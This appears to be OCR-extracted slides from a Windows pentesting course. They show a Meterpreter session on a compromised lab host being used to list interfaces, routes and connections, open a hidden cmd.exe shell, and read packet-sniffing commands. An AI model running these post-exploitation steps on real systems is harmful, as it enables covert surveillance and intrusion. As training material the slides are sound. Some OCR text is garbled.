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Pentesting Windows Endpoints:

Remote Network Monitoring



ipconfig

meterpreter > ipconfig

Interface 1

Name : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU : 1500

IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0

Interface 11

Name : Intel(R) PRO/1000 MT Desktop Adapter
Hardware MAC : 08:00:27:db:ca:dl
MTU : 1500

IPv4 Address : 192.168.1.30
IPv4 Netmask : 255.255.255.0

meterpreter > |j
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meterpreter > route

IPv4 network routes

Subnet Netmask Gateway Metric Interface
0.0.0.0 0.0.0.0 192.168.1.1 266 11
127.0.0.0 255.0.0.0 127.0.0.1 306 1
127.0.0.1 255.255.255.255 127.0.0.1 306 1
127.255.255.255 255.255.255.255 127.0.0.1 306 1
192.168.1.0 255.255.255.0 192.168.1.30 266 11
192.168.1.30 255.255.255.255 192.168.1.30 266 11
192.168.1.255 255.255.255.255 192.168.1.30 266 11
224.0.0.0 240.0.0.0 127.0.0.1 306 1
224.0.0.0 240.0.0.0 192.168.1.30 266 11
255.255.255.255 255.255.255.255 127.0.0.1 306 1
255.255.255.255 255.255.255.255 192.168.1.30 266 11

No IPv6 routes were found.
meterpreter >
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netstat

meterpreter > netstat

Connection list

Proto Local address Remote address State User Inode PID/Program name
tcp 0.0.0.0:80 0.0.0.0:* LISTEN 0 0 3008/badblue.exe
tcp 0.0.0.0:135 0.0.0.0:%* LISTEN 0 0 964/svchost.exe
tcp 0.0.0.0:445 0.0.0.0:* LISTEN 0 0 4/System

tcp 0.0.0.0:554 0.0.0.0:* LISTEN 0 0 2616/wmpnetwk .exe
tcp 0.0.0.0:2869 0.0.0.0:* LISTEN 0 0 4/System

tcp 0.0.0.0:5357 0.0.0.0:* LISTEN 0 0 4/System

tcp 0.0.0.0:7112 0.0.0.0:* LISTEN 0 0 1600/1loggingserver.exe
tecp 0.0.0.0:10243 0.0.0.0:* LISTEN 0 0 4/System

tcp 0.0.0.0:49152 0.0.0.0:* LISTEN 0 0 616/wininit.exe
tcp 0.0.0.0:49153 0.0.0.0:* LISTEN 0 0 1072/svchost.exe
tcp 0.0.0.0:49154 0.0.0.0:%* LISTEN 0 0 1156/svchost.exe
tcp 0.0.0.0:49155 0.0.0.0:* LISTEN 0 0 724/1sass.exe

tcp 0.0.0.0:49156 0.0.0.0:* LISTEN 0 0 716/services.exe
tcp 127.0.0.1:7112 127.0.0.1:49157 ESTABLISHED 0O 0 1600/1loggingserver.exe
tcp 192.168.1.30:49181 192.168.1.10:4444  ESTABLISHED 0 0 3008/badblue.exe
tcp 192.168.1.30:80 192.168.1.10:55003 CLOSE_WAIT 0 0 3008/badblue.exe
tcp 192.168.1.30:139 0.0.0.0:* LISTEN 0 0 4/System

tcp 127.0.0.1:49157 127.0.0.1:7112 ESTABLISHED 0 0 2992/vprot.exe
tcpb :1::135 HHHG LISTEN 0 0 964/svchost.exe
tcpb 111445 i LISTEN 0 0 4/System

tcpb 1::554 Ha LISTEN 0 0 2616/wmpnetwk.exe
tcpb 1112869 i LISTEN 0 0 4/System

tcpb :1:5357 i LISTEN 0 0 4/System
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Host Netstat

meterpreter > execute -f cmd.exe -H -c -i

Process 2976 created.

Channel 1 created.

Microsoft Windows [Version 6.1.7600]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>netstat -an
netstat -an

Active Connections

Proto Local Address Foreign Address State

TCP 0.0.0.0:80 0.0.0.0:0 LISTENING
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:554 0.0.0.0:0 LISTENING
TCP 0.0.0.0:2869 0.0.0.0:0 LISTENING
TCP 0.0.0.0:5357 0.0.0.0:0 LISTENING
TCP 0.0.0.0:7112 0.0.0.0:0 LISTENING
TCP 0.0.0.0:10243 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49152 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49153 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49154 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49155 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49156 0.0.0.0:0 LISTENING
TCP 127.0.0.1:7112 127.0.0.1:49157 ESTABLISHED
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Remote Monitoring

Sniffer Commands

Command Description

sniffer_dump Retrieve captured packet data to PCAP file

sniffer_interfaces Enumerate all sniffable network interfaces

sniffer_release Free captured packets on a specific interface instead of downloading them
sniffer_start Start packet capture on a specific interface

sniffer_stats View statistics of an active capture

sniffer_stop Stop packet capture on a specific interface
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